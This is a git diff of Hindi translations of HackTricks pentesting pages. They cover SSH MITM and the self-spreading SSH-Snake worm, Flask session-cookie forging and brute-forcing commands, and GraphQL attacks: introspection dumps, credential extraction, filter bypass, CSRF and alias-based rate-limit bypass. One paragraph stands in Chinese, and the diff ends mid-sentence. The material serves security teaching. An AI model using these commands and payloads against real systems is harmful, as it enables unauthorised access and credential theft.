प्रयास को **अवरोधित** करता है। +- **अवरोधन और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरणों को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है। +- **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को वास्तविक SSH सर्वर पर अग्रेषित करता है**, **उन्हें निष्पादित करता है**, और **परिणामों को उपयोगकर्ता को वापस भेजता है**, जिससे प्रक्रिया सहज और वैध प्रतीत होती है। [**SSH MITM**](https://github.com/jtesta/ssh-mitm) ठीक वही करता है जो ऊपर वर्णित है। @@ -174,11 +174,11 @@ SSH-Snake निम्नलिखित कार्यों को स्व 1. वर्तमान सिस्टम पर, किसी भी SSH निजी कुंजी को खोजें, 2. वर्तमान सिस्टम पर, किसी भी होस्ट या गंतव्यों (user@host) को खोजें जिन्हें निजी कुंजी स्वीकार की जा सकती हैं, 3. खोजी गई सभी निजी कुंजियों का उपयोग करके सभी गंतव्यों में SSH करने का प्रयास करें, -4. यदि किसी गंतव्य से सफलतापूर्वक कनेक्ट किया गया है, तो कनेक्टेड सिस्टम पर चरण #1 - #4 को दोहराएं। +4. यदि किसी गंतव्य से सफलतापूर्वक कनेक्ट किया गया है, तो जुड़े हुए सिस्टम पर चरण #1 - #4 को दोहराएं। यह पूरी तरह से आत्म-प्रतिकृति और आत्म-प्रसार करने वाला है -- और पूरी तरह से फ़ाइल रहित है। -## कॉन्फ़िग मिसकॉन्फ़िगरेशन +## कॉन्फ़िग़रेशन गलत कॉन्फ़िगरेशन ### रूट लॉगिन @@ -187,7 +187,7 @@ SSH-Snake निम्नलिखित कार्यों को स्व **OpenSSH में रूट लॉगिन को अक्षम करने के लिए:** 1. **SSH कॉन्फ़िग फ़ाइल को संपादित करें**: `sudoedit /etc/ssh/sshd_config` -2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`**। +2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`** में। 3. **कॉन्फ़िगरेशन को पुनः लोड करें**: `sudo systemctl daemon-reload` 4. **परिवर्तनों को लागू करने के लिए SSH सर्वर को पुनः प्रारंभ करें**: `sudo systemctl restart sshd` @@ -252,7 +252,7 @@ sftp> symlink / froot ### प्रमाणीकरण विधियाँ -उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को अक्षम किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को अक्षम नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है: +उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को निष्क्रिय किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को निष्क्रिय नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index 9c89cbf41..7f58331ec 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -1,9 +1,11 @@ -# बकेट्स +# Buckets {{#include ../../../banners/hacktricks-training.md}} -यदि आप बकेट्स की गणना और दुरुपयोग के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ की जांच करें: +यदि आप Buckets की गणना करने और उनका दुरुपयोग करने के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ की जांच करें: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 8c06b52bd..dda6c9107 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -8,6 +8,8 @@ Firebase एक Backend-as-a-Services है जो मुख्य रूप Firebase के बारे में अधिक जानें: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 9b80c4afa..b93da521d 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -6,7 +6,7 @@ Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) -"exit" इवेंट श्रोता हमेशा आंतरिक कोड द्वारा सेट किया जाता है जब पृष्ठ लोडिंग शुरू होती है। यह इवेंट नेविगेशन से ठीक पहले उत्सर्जित होता है: +"exit" इवेंट श्रोता हमेशा आंतरिक कोड द्वारा सेट किया जाता है जब पृष्ठ लोडिंग शुरू होता है। यह इवेंट नेविगेशन से ठीक पहले उत्सर्जित होता है: ```javascript process.on("exit", function () { for (let p in cachedArchives) { @@ -15,21 +15,23 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- अब मौजूद नहीं है -फिर यहा जाता है: +फिर यह यहाँ जाता है: ![](<../../../images/image (793).png>) -जहां "self" Node की प्रक्रिया वस्तु है: +जहाँ "self" Node का प्रक्रिया ऑब्जेक्ट है: ![](<../../../images/image (700).png>) -प्रक्रिया वस्तु में "require" फ़ंक्शन का संदर्भ है: +प्रक्रिया ऑब्जेक्ट में "require" फ़ंक्शन का संदर्भ है: ``` process.mainModule.require ``` diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 06a380a12..58a4b68d0 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -10,7 +10,7 @@ ### Decoder -ऑनलाइन Flask कुकीज़ डिकोडर: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +ऑनलाइन Flask कुकी डिकोडर: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual @@ -22,9 +22,11 @@ echo "ImhlbGxvIg" | base64 -d ### **Flask-Unsign** -कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और बनाने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है। +कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और क्राफ्ट करने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है। -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -46,19 +48,21 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है। +कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करने के लिए है। -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` ### Flask सत्र कुकी में SQLi SQLmap के साथ -[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **flask के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के साथ। +[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **फ्लास्क के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के साथ। ## SSRF के लिए Flask प्रॉक्सी -[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि Flask एक अनुरोध को कैसे अनुमति देता है जो वर्ण "@" से शुरू होता है: +[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि कैसे Flask एक अनुरोध की अनुमति देता है जो चरित्र "@" से शुरू होता है: ```http GET @/ HTTP/1.1 Host: target.com diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 56dc6d0ee..9ac6601f0 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Introduction GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है। @@ -32,17 +31,17 @@ GraphQL को **REST API के लिए एक प्रभावी वि #### यूनिवर्सल क्वेरीज़ -यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है। +यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी किए गए ऑब्जेक्ट के प्रकार को प्रकट करती है। ```javascript query{__typename} ``` -### बेसिक एन्यूमरेशन +### Basic Enumeration Graphql आमतौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके। -#### इंट्रोस्पेक्शन +#### Introspection -स्कीमा जानकारी खोजने के लिए इंट्रोस्पेक्शन का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है। +Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है। ```bash query={__schema{types{name,fields{name}}}} ``` @@ -52,7 +51,7 @@ query={__schema{types{name,fields{name}}}} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्कों के प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा। +इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा। ![](<../../images/image (950).png>) @@ -163,7 +162,7 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी। +अंतिम कोड पंक्ति एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी। ![](<../../images/image (363).png>) @@ -177,7 +176,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -ध्यान दें कि क्वेरी का प्रकार "_flags_" "_Flags_" है, और यह ऑब्जेक्ट नीचे परिभाषित है: +ध्यान दें कि क्वेरी का प्रकार "_flags_" है "_Flags_", और इस ऑब्जेक्ट को नीचे परिभाषित किया गया है: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -185,7 +184,7 @@ name ```javascript query={flags{name, value}} ``` -ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राथमिक** **प्रकार** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है +ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है ![](<../../images/image (958).png>) @@ -194,7 +193,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\ -यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं: +यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं: ![](<../../images/image (880).png>) @@ -205,7 +204,7 @@ query = { hiddenFlags } ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\ खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था। +यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था। तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\ `query={user(uid:1){user,password}}` @@ -224,7 +223,7 @@ query = { hiddenFlags } ### खोज -इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** को उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं। +इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं। आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं: ```javascript @@ -251,7 +250,7 @@ name ``` ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है। -आप **एक ही समय में कई वस्तुओं को खोज सकते हैं**। इस मामले में, 2 फिल्मों की खोज की जाती है: +आप **एक ही समय में कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -286,11 +285,11 @@ name **म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।** -**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित चित्र में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"): +**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित छवि में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं। +इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है। डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है): ```javascript @@ -360,7 +359,7 @@ GraphQL API के माध्यम से **विभिन्न क्र ### Bypassing GraphQL introspection defences -API中的自省查询限制可以通过在`__schema`关键字后插入**特殊字符**来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、新行和逗号**这样的字符,GraphQL会忽略这些字符,但在正则表达式中可能没有考虑到,因此可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过此类防御: +API中的自省查询限制可以通过在`__schema`关键字后插入**特殊字符**来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、新行和逗号**这样的字符,GraphQL会忽略这些字符,但在正则表达式中可能没有考虑到,因此可以绕过限制。例如,带有换行符的自省查询在`__schema`之后可能会绕过此类防御: ```bash # Example with newline to bypass { @@ -422,19 +421,19 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं। +इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं। हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष की वेबसाइट से GET अनुरोधों में भेजी जाएगी। -ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है। +ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है। इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है। अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)। -## GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग +## GraphQL में क्रॉस-साइट वेब्सॉक हाईजैकिंग -GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाइजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके। +CRSF कमजोरियों के समान, GraphQL का दुरुपयोग करने के लिए **क्रॉस-साइट वेब्सॉक हाईजैकिंग** करना भी संभव है, जिससे GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके। अधिक जानकारी के लिए देखें: @@ -466,13 +465,13 @@ GraphQL का दुरुपयोग करते हुए CRSF कमजो ## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना -GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** नामित करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं। +GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं। GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)। -हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो ब्रूट फोर्स हमलों को रोकने के लिए **HTTP अनुरोधों की संख्या** को सीमित करते हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं। +हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं। -नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को दरकिनार कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, 